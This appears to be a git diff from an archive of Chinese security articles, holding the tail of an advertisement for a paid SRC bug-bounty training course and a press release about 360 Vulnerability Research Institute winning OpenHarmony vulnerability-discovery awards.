+![](https://mmbiz.qpic.cn/mmbiz_png/zmF08GSBtAZBSs4qvKEvvKXtyQBZjsV3amcuryDSeymc8ia8aTUpjKN0XLTXkrxh4Cibv4shTsBZB8XY9dudicyDpQyPJWyoJnibgDVfLAY6FzY/640?wx_fmt=png&from=appmsg "") +![]( "") +![]( "") +![]( "") +![]( "") +![]( "") +![]( "") +![]( "") +![]( "") + +![](https://mmecoa.qpic.cn/mmecoa_png/NYQt9rr8A02C3T5QEAYDkicr7qUALPHCSStuKSuobXBHeoLkiaRVbicicYUibISUmZrzuuQXwVGBJc3W2zZOOo6iaECg/640?from=appmsg "") + +06 + +全期资源开放，终身学习无忧 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/a5yW0MNUS2B35YuvvOcHKH4Nyc8qkXE92WGR1H2T2y4EV3SSq0OuwIKTOw0akzKow9ibibGyLJmw5fywKWgrwYRg/640?from=appmsg "") + + +第八期培训，我们想做的就是为你铺平挖洞之路—— 报名即开放前1-7期全部课程资源 ，课程视频、配套文档、漏洞报告、知识点详解，随时查阅、反复学习。 + +想补基础可以往前翻，想深钻技术可以往深挖，知识自由流动，一次学习，解锁 终身学习权益 ，后续课程更新也可免费跟进，不用担心学不完、跟不上。 + +![](https://mmecoa.qpic.cn/mmecoa_png/NYQt9rr8A02C3T5QEAYDkicr7qUALPHCSStuKSuobXBHeoLkiaRVbicicYUibISUmZrzuuQXwVGBJc3W2zZOOo6iaECg/640?from=appmsg "") + +07 + +高性价比，实打实教技术 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/a5yW0MNUS2B35YuvvOcHKH4Nyc8qkXE92WGR1H2T2y4EV3SSq0OuwIKTOw0akzKow9ibibGyLJmw5fywKWgrwYRg/640?from=appmsg "") + + +玲珑安全始终坚持 无华而不实宣传，重实战技能培养。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/Lgu1K9Ehrgdg03vhsFuCooliabwT2VLwDoLdb1YyuTC6rM4zY4w76KZdR22uszLbCLEL25nlicrbNUfuQiciaSJksw/640?from=appmsg "") + + +第八期培训依旧保持 全员统一价4500元 ，拒绝差价，实打实让每一位学员学到真本事。 + +核心权益升级 +- 10余年漏洞挖掘经验讲师全程带教，专业度拉满，避坑少走弯路； + +- 直播授课+录播永久回看，错过直播也能随时补学，时间灵活； + +- 附赠专属直播加餐课，补充挖洞技巧、实战案例，知识点更全面； + +- 贴心学习保障：若有事无法参与当期培训，可 免费延期至下一期 ，学习不中断； + +- 学员专属交流群，结识志同道合的网安同行，共享工具、脚本、挖洞思路，抱团成长。 + +如果你受够了碎片化知识的内耗，不想再面对真实目标时手足无措，想有人手把手带着你挖到第一个高危漏洞，想把漏洞挖掘变成自己的核心技能——那么第八期漏洞挖掘培训，我们等你。 + +![](https://mmecoa.qpic.cn/mmecoa_png/NYQt9rr8A02C3T5QEAYDkicr7qUALPHCSStuKSuobXBHeoLkiaRVbicicYUibISUmZrzuuQXwVGBJc3W2zZOOo6iaECg/640?from=appmsg "") + +08 + +第八期课程大纲 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/a5yW0MNUS2B35YuvvOcHKH4Nyc8qkXE92WGR1H2T2y4EV3SSq0OuwIKTOw0akzKow9ibibGyLJmw5fywKWgrwYRg/640?from=appmsg "") + + +![](https://mmbiz.qpic.cn/mmbiz_png/zmF08GSBtAYhbDpbG2lGjz1eUtqh6APeqq2BXIlfyYoL2cbpj6HrhZbvkTt7Qh6U3YP8oXiaARlaHic8xULQUGoO5ibGS1dJYic8B8g58Bbia8Vw/640?wx_fmt=png&from=appmsg "") + +![](https://mmecoa.qpic.cn/mmecoa_png/NYQt9rr8A02C3T5QEAYDkicr7qUALPHCSStuKSuobXBHeoLkiaRVbicicYUibISUmZrzuuQXwVGBJc3W2zZOOo6iaECg/640?from=appmsg "") + +09 + +报名通道已开启，即刻加入 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/a5yW0MNUS2B35YuvvOcHKH4Nyc8qkXE92WGR1H2T2y4EV3SSq0OuwIKTOw0akzKow9ibibGyLJmw5fywKWgrwYRg/640?from=appmsg "") + + +扫描下方培训咨询/报名二维码 ，即可了解课程详情、锁定报名名额。 + +无论是否报名，只要你有关于漏洞挖掘的任何疑问，我们都愿意免费解答。 + +报名时间： +2026年3月20日开始 + +![](https://mmbiz.qpic.cn/mmbiz_png/2jBZiacq3IKYpJnLECV2Q3jkoU8OV6Vq3gT2TRMIvDhx3iaWuiafNictAzOL5zmQpWGk6Kz6wOjNleuZiaAXQg2xZ3Q/640?from=appmsg "") + +![图片](https://mmbiz.qpic.cn/sz_mmbiz_jpg/1AoMVy0Knkpa9SdaxqHZUVp2Viar37MowzsqI5bpBAiarLxRqhHroxM0EsOTTmt2XKr2BGAjkZm5DZIpooF3RjdQ/640?wx_fmt=jpeg "") + +ID：linglongsec + +![](https://mmbiz.qpic.cn/mmbiz_png/SJYrsibye3hEtVnvlLDpzAYPVibvaTtX82hQmAJBIsZgzAClbkrRnGYHNXz6gDw99AXMu6aDfvWgt8JQ7VgUicJKw/640?from=appmsg "") + + +![](https://mmecoa.qpic.cn/mmecoa_png/NYQt9rr8A02C3T5QEAYDkicr7qUALPHCSStuKSuobXBHeoLkiaRVbicicYUibISUmZrzuuQXwVGBJc3W2zZOOo6iaECg/640?from=appmsg "") + +10 + +更多干货&学员成果 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/a5yW0MNUS2B35YuvvOcHKH4Nyc8qkXE92WGR1H2T2y4EV3SSq0OuwIKTOw0akzKow9ibibGyLJmw5fywKWgrwYRg/640?from=appmsg "") + + +🔗学员报喜专栏总览：https://www.ifhsec.com/list.html + +🔗玲珑安全B站免费公开课：https://space.bilibili.com/602205041 + +👥玲珑安全交流QQ群：191400300 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/Lgu1K9Ehrgdg03vhsFuCooliabwT2VLwDoLdb1YyuTC6rM4zY4w76KZdR22uszLbCLEL25nlicrbNUfuQiciaSJksw/640?from=appmsg "") + + +报名参与课程即可参与专属抽奖，赢取挖洞工具包、实战教程等好礼。 + +![](https://mmecoa.qpic.cn/mmecoa_png/NYQt9rr8A02C3T5QEAYDkicr7qUALPHCSStuKSuobXBHeoLkiaRVbicicYUibISUmZrzuuQXwVGBJc3W2zZOOo6iaECg/640?from=appmsg "") + +11 + +免费抽大奖 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/a5yW0MNUS2B35YuvvOcHKH4Nyc8qkXE92WGR1H2T2y4EV3SSq0OuwIKTOw0akzKow9ibibGyLJmw5fywKWgrwYRg/640?from=appmsg "") + + +100 个优质靶场会员兑换码，进群即可参与抽奖！ + +![](https://mmbiz.qpic.cn/mmbiz_png/2jBZiacq3IKYpJnLECV2Q3jkoU8OV6Vq3gT2TRMIvDhx3iaWuiafNictAzOL5zmQpWGk6Kz6wOjNleuZiaAXQg2xZ3Q/640?from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/zmF08GSBtAbnDgAerKyqlctmmWagbGOicPuqSDssmIb2icEaDiaPibTazMcoPicyBTiaFRuiczKI1gwZ2gSxDuYqIrS7lZmmRzrz8RJRDHGhc7SedA/640?wx_fmt=png&from=appmsg "") + +二维码过期了请联系玲珑~ + +![](https://mmbiz.qpic.cn/mmbiz_png/SJYrsibye3hEtVnvlLDpzAYPVibvaTtX82hQmAJBIsZgzAClbkrRnGYHNXz6gDw99AXMu6aDfvWgt8JQ7VgUicJKw/640?from=appmsg "") + + +![](https://mmecoa.qpic.cn/mmecoa_png/NYQt9rr8A02C3T5QEAYDkicr7qUALPHCSStuKSuobXBHeoLkiaRVbicicYUibISUmZrzuuQXwVGBJc3W2zZOOo6iaECg/640?from=appmsg "") + +12 + +共同成长的点点滴滴 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/a5yW0MNUS2B35YuvvOcHKH4Nyc8qkXE92WGR1H2T2y4EV3SSq0OuwIKTOw0akzKow9ibibGyLJmw5fywKWgrwYRg/640?from=appmsg "") + + +![](https://mmbiz.qpic.cn/mmbiz_gif/ibibcV5C2Fxt8KF2nvUB4ibibbBvwBdymVkQKw5xG6xAoAFellPY0mz4BREtkJ1M3Mib3uSxwXrpSDicAia7jCEKemWsw/640?from=appmsg "") + +![](https://mmbiz.qpic.cn/mmbiz_gif/5HAz5Dg8SOkjmyVTZjk9tbp3SiaRXaRbWz9K95rrjzicHcdPgfMN3MumibokNDcCrXM8HSkXyeJfY6wJPxd52uJFw/640?from=appmsg "") + +学员每一期的收获、我们每一期的进步 + + + +[玲珑安全第一期SRC漏洞挖掘培训](http://mp.weixin.qq.com/s?__biz=MzI4NTYwMzc5OQ==&mid=2247486139&idx=1&sn=11eb92b27684e41a86d26673ec4747f1&chksm=ebe8e803dc9f6115e18384bd62789bf5c5d1ad7de522faf92ebb52893a8cef4631a0f1459112&scene=21#wechat_redirect) + + +[玲珑安全第二期SRC漏洞挖掘培训](http://mp.weixin.qq.com/s?__biz=MzI4NTYwMzc5OQ==&mid=2247491250&idx=1&sn=0a1a522f09c42654a3eb2f314dfedffa&chksm=ebe8fc0adc9f751c60b0fa5c4c15bbc7947de1b50cbb8ecae11b51882a12612323d761e66f1a&scene=21#wechat_redirect) + + +[玲珑安全第三期SRC漏洞挖掘培训](http://mp.weixin.qq.com/s?__biz=MzI4NTYwMzc5OQ==&mid=2247493447&idx=1&sn=04e4dfd799d0f22f5adfb1a50032d221&chksm=ebeb05ffdc9c8ce9a3d2916634a4fe3480685bf599150c2e128e20faeae4d2ddd0f12f96b630&scene=21&token=1651477231&lang=zh_CN#wechat_redirect) + + +[玲珑安全第四期SRC漏洞挖掘培训](http://mp.weixin.qq.com/s?__biz=MzI4NTYwMzc5OQ==&mid=2247496609&idx=1&sn=db3ba684b8bf0f3c5991a30d1b899f29&chksm=ebeb1119dc9c980f7a598d7ae47d8060d984f2d6181e835c936b813f782dbb9d31dfdfb2c3f2&scene=21#wechat_redirect) + + +[玲珑安全第五期SRC漏洞挖掘培训](https://mp.weixin.qq.com/s?__biz=MzI4NTYwMzc5OQ==&mid=2247499310&idx=1&sn=e9665007697fbf72d31075cab2123923&scene=21#wechat_redirect) + + +[玲珑安全第六期SRC漏洞挖掘培训](https://mp.weixin.qq.com/s?__biz=Mzg4NjY3OTQ3NA==&mid=2247486842&idx=1&sn=e2839892a4c331387be5a704bf28bb61&scene=21#wechat_redirect) + + +[玲珑安全第七期SRC漏洞挖掘培训](https://mp.weixin.qq.com/s?__biz=Mzg4NjY3OTQ3NA==&mid=2247487217&idx=1&sn=42305c92cd949eaac54098830a25e9ef&scene=21#wechat_redirect) + + diff --git a/doc/2026-04/筑牢开源安全防线，360荣膺开源鸿蒙社区漏洞挖掘双料大奖.md b/doc/2026-04/筑牢开源安全防线，360荣膺开源鸿蒙社区漏洞挖掘双料大奖.md new file mode 100644 index 00000000..28bc5204 --- /dev/null +++ b/doc/2026-04/筑牢开源安全防线，360荣膺开源鸿蒙社区漏洞挖掘双料大奖.md @@ -0,0 +1,40 @@ +# 筑牢开源安全防线，360荣膺开源鸿蒙社区漏洞挖掘双料大奖 +360漏洞研究院 + 360漏洞研究院 360漏洞研究院 2026-04-13 10:33 + +**** +**近日，360数字安全集团漏洞研究院成功斩获2026年度“开源鸿蒙社区漏洞挖掘突出贡献团队”称号。与此同时，360龚广也荣膺同年度“开源鸿蒙社区漏洞挖掘突出贡献个人”殊荣。** + + +此次是360继2025年度斩获团队与个人双项荣誉后，再次蝉联同一殊荣，有力印证了360在漏洞挖掘与攻防能力已获得产业界、学术界的广泛认可，彰显出在开源生态安全建设中的关键引领作用。 + + + +![](https://mmbiz.qpic.cn/mmbiz_jpg/zfoRGB81MxNMnuylQ4UScMekYtjyGlpfNBN5pj9Mia3RGYrwVthye0KAkZTiaHVxnGGf4FcltKEUZoMknicIq6niaXZqSibFvNS1XEomicWkBbexA/640?wx_fmt=jpeg&from=appmsg#imgIndex=1 "") + +![](https://mmbiz.qpic.cn/mmbiz_jpg/zfoRGB81MxN7riawOdEpGdibXRVVoV1wu5c1KwRWHcu0Rdwqdx98WoWZTsichicBls4lXPxYludUjiclmlpaufq4VnO0wYlHgAffMhFT47bp0Sqo/640?wx_fmt=jpeg&from=appmsg#imgIndex=2 "") + + +开源鸿蒙是由开放原子开源基金会孵化及运营的开源项目，致力于面向全场景、全连接、全智能时代，构建智能终端设备操作系统的框架与平台，推动万物互联产业的繁荣发展。为强化开源安全治理体系，社区专门设立“开源鸿蒙社区漏洞挖掘突出贡献团队”奖项，旨在表彰在安全领域实现技术突破、构建防护标杆、推动产业共治的杰出团队。评选标准涵盖漏洞挖掘深度、防御方案创新性、生态协同效能等核心维度。 + + +360漏洞研究院此次能够从众多参评团队中脱颖而出，既源于其在漏洞挖掘领域构建的核心竞争优势，以AI深度赋能驱动检测效率的跨越式提升，并持续保持对高危漏洞的敏锐感知与精准捕获能力；也离不开与华为长期以来建立的高强度、深层次技术协同，双方共同构筑起覆盖漏洞全生命周期的生态级防护合力。 + + +基于漏洞挖掘、分析研判与快速修复的全面合作机制，双方致力于实现安全风险的“早发现、快响应、深修复”，以卓越的安全技术能力驱动产品体系的持续演进与迭代升级，筑牢开源生态安全防线，全力保障广大用户的安全体验。 + + +自2018年华为在终端安全奖励计划大会上正式对外披露“漏洞奖励计划”以来，360漏洞研究院作为首批合作伙伴，持续在漏洞提交、安全应急等方面为华为终端安全作出突出贡献，多次获得华为终端安全漏洞奖励计划的公开致谢，并相继斩获华为终端安全2019年度最具创新奖、2019年度突出贡献奖、2020年华为终端安全奖励计划一等奖，以及2021年及2022年“杰出生态合作伙伴”奖等多项殊荣，同时连续五年稳居华为安全奖励计划总排行榜榜首。 + + +此外，360漏洞研究院始终坚持创新之路，凭借多年漏洞挖掘与利用的经验积淀，不断向世界展现出中国安全力量的蓬勃脉动。 + + +其不仅连续十余年登上Blackhat全球黑帽大会的舞台发表安全成果，还是微软MSRC、天府杯等国际奖项中屠榜的“常客”，并荣膺中国首个“The Pwnie Awards”史诗级成就奖和最佳提权漏洞奖，更是连续多年获谷歌官方漏洞奖励计划年报（VRP）公开致谢。 + + + + +未来，360漏洞研究院将持续夯实自身在安全能力领域的核心优势，深化与全产业链合作伙伴的技术协同与战略联动。通过联合攻关关键核心技术、共建前瞻性标准规范、共享高价值威胁情报等多元化合作模式，推动形成“技术共治、成果共享、生态共建”的协同发展新格局，为开源生态的健康发展提供坚实保障。 + +